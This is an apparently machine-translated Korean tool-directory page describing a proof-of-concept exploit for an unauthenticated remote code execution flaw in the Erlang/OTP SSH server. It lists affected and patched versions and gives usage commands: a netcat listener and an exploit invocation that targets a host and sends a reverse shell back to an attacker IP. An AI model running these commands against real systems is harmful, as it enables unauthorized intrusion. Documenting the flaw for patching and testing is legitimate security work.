Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE — Erlang/OTP SSH 서버에서 인증되지 않은 원격 코드 실행을 보여주는 PoC입니다. SSH 프로토콜 메시지 처리의 결함을 악용하여, 공격자는 유효한 자격 증명 없이 대상에서 임의의 명령을 실행할 수 있습니다. | Kitploit
도구/GitHubGitHub/dollarboysushil/cve-2025-32433-erlang-otp-ssh-unauthenticated-rce
Payload GenerationVulnerability AnalysisExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubdollarboysushil/cve-2025-32433-erlang-otp-ssh-unauthenticated-rce

CVE-2025-32433-Erlang-OTP-SSH-Unauthenticated-RCE

Erlang/OTP SSH 서버에서 인증되지 않은 원격 코드 실행을 보여주는 PoC입니다. SSH 프로토콜 메시지 처리의 결함을 악용하여, 공격자는 유효한 자격 증명 없이 대상에서 임의의 명령을 실행할 수 있습니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
311개월 전아직 검토되지 않음

CVE-2025-32433 - Erlang/OTP SSH RCE PoC

CVE-2025-32433

개요

Erlang/OTP SSH 서버에서 인증되지 않은 원격 코드 실행을 보여주는 PoC입니다.
SSH 프로토콜 메시지 처리의 결함을 악용하면 공격자는 유효한 자격 증명 없이 대상 시스템에서 임의의 명령을 실행할 수 있습니다.

  • CVE: CVE-2025-32433
  • CVSS 점수: 10.0 (치명적)
  • 영향받는 버전:
    • OTP-27.3.3 및 이전 버전
    • OTP-26.2.5.11 및 이전 버전
    • OTP-25.3.2.20 및 이전 버전

이 문제는 OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20에서 패치되었습니다.

참고 자료

  • Unit42 Advisory
  • PoC 저장소
  • NVD 항목

사용법

리스너 설정:

root@kitploit:~
nc -lvnp 1234

alt text 익스플로잇 실행:

root@kitploit:~
python3 CVE-2025-32433-dbs --rhost <TARGET_IP> --rport <TARGET_PORT> --lhost <ATTACKER_IP> --lport <ATTACKER_PORT>
  • --rhost : 대상 IP
  • --rport : 대상 SSH 포트
  • --lhost : 리버스 셸용 본인 IP
  • --lport : 본인 리스너 포트

alt text

alt text

면책 조항

이 저장소는 교육 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 이 익스플로잇을 사용하지 마십시오. 오용은 불법일 수 있으며 엄격히 금지됩니다.

도구 다운로드